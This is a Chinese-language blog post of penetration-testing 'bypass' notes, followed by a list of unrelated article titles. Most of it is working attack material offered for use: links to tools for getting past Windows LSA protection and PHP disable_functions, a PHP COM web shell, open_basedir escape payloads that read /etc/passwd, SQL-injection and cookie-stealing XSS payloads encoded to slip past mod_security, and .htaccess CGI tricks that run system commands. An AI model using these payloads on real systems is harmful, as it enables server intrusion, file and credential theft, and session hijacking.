• WEB渗透Bypass篇-常规操作


    绕过lsa-protection

    https://github.com/RedCursorSecurityConsulting/PPLKiller
    

    image

    image

    image

    image

    image

    Linux绕过disable_function

    LD_PRELOAD

    linux环境

    1. putenv()、mail()可用
    2. https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
    3. http://192.168.0.107/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

    outpath是命令输出位置,sopath指定so文件路径。 或 替换php文件中的mail为error_log("a",1);

    php7.0-7.3 bypass
    1. 直接bypass
    2. https://raw.githubusercontent.com/mm0r1/exploits/master/php7-gc-bypass/exploit.php

    Windows系统组件com绕过

    1. $command = $_GET['cmd'];
    2. $wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
    3. $exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
    4. $stdout = $exec->StdOut();
    5. $stroutput = $stdout->ReadAll();
    6. echo $stroutput;
    7. ?>

    蚁剑绕过

    01利用LD_PRELOAD环境变量 02利用ShellShock(CVE-2014-6271) 03利用Apache Mod CGI 04 PHP-FPM利用LD_PRELOAD环境变量(同1) 05攻击PHP-FPM监听端口 06 Json Serializer UAF 07具有特定析构函数UAF的PHP7 GC

    Open_basedir绕过

    第一种

    1. http://x.com/shell.php?a=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};
    2. http://x.com/shell.php?a=if%20(%20$b%20=%20opendir(%22glob:///var/www/html/*.php%22)%20)%20{while%20(%20($file%20=%20readdir($b))%20!==%20false%20)%20{echo%20%22filename:%22.$file.%22\n%22;}closedir($b);}

    第二种

    1. http://x.com/shell.php?a=ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');system('cat ../../../../../etc/passwd');
    2. http://x.com/shell.php?a=mkdir(%22/tmp/crispr%22);chdir(%27/tmp/crispr/%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27.%27))

    第三种

    命令执行绕过 读文件

    1. ?a=show_source('preload.php');
    2. ?a=echo(readfile('preload.php'));
    3. ?a=print_r(readfile('preload.php'));
    4. ?a=echo(file_get_contents('preload.php'));
    5. ?a=print_r(file_get_contents('preload.php'));

    Bypass-mod_security

    Xss和注入bypass mod_security

    1. /*!50000%75%6e%69on*/ %73%65%6cect 1,2,3,4... –
    2. <marquee loop=1 width=0 onfinish=pr\u006fmpt(document.cookie)>Y000</marquee>
    3. /*!50000%75%6e%69on*/ %73%65%6cect 1,2,3,4,5
    4. %75%6e%69on = union
    5. %73%65%6cect = select
    6. %75%6e%69 = uni = url encode
    7. %73%65%6c = sel = url encode

    cgi启动方式

    phpinfo中搜索server api是cgi或者fastcgi 如果是cgi模式:上传如下htaccess

    1. Options ExecCGI
    2. AddHandler cgi-script .xx
    3. windows平台
    4. #!C:/Windows/System32/cmd.exe /c start calc.exe
    5. 1
    6. linux平台
    7. #!/bin/bash
    8. echo -ne "Content-Type: text:html\n\n"
    9. whoami

    如果是fast_cgi,上传如下htaccess

    1. Options +ExecCGI
    2. AddHandler fcgid-script .abc
    3. FcgidWrapper "C:/Windows/System32/cmd.exe /c start cmd.exe" .abc
    4. 上传任意文件.abc
    5. 相对路径
    6. AddHandler fcgid-script .html
    7. FcgidWrapper "../../php/php7.3.4nts/php-cgi.exe" .html
    8. AddHandler fcgid-script .xx
    9. FcgidWrapper "../../../WWW/localhost/calc.exe" .xx
  • 相关阅读:
    HTML期末学生大作业 基于HTML+CSS+JavaScript通用的后台管理系统ui框架模板
    可以,很6!微信这波改造,一刀斩断了一条“灰色”业务线。
    [seccon pwn] babyfile 复现
    要使用API接口获取淘宝电商平台的数据,您需要遵循以下步骤:
    南大通用GBase 8a MPP Cluster大规模并行计算技术介绍
    计算机网络 2.3数据交换技术
    Go 语言特性与设计哲学
    HTML显示中文空格字符,&emsp;一个中文字符,&ensp;半个中文字符
    Oracle统计信息问题排查常用SQL
    RNN框架
  • 原文地址:https://blog.csdn.net/qq_59468567/article/details/141097582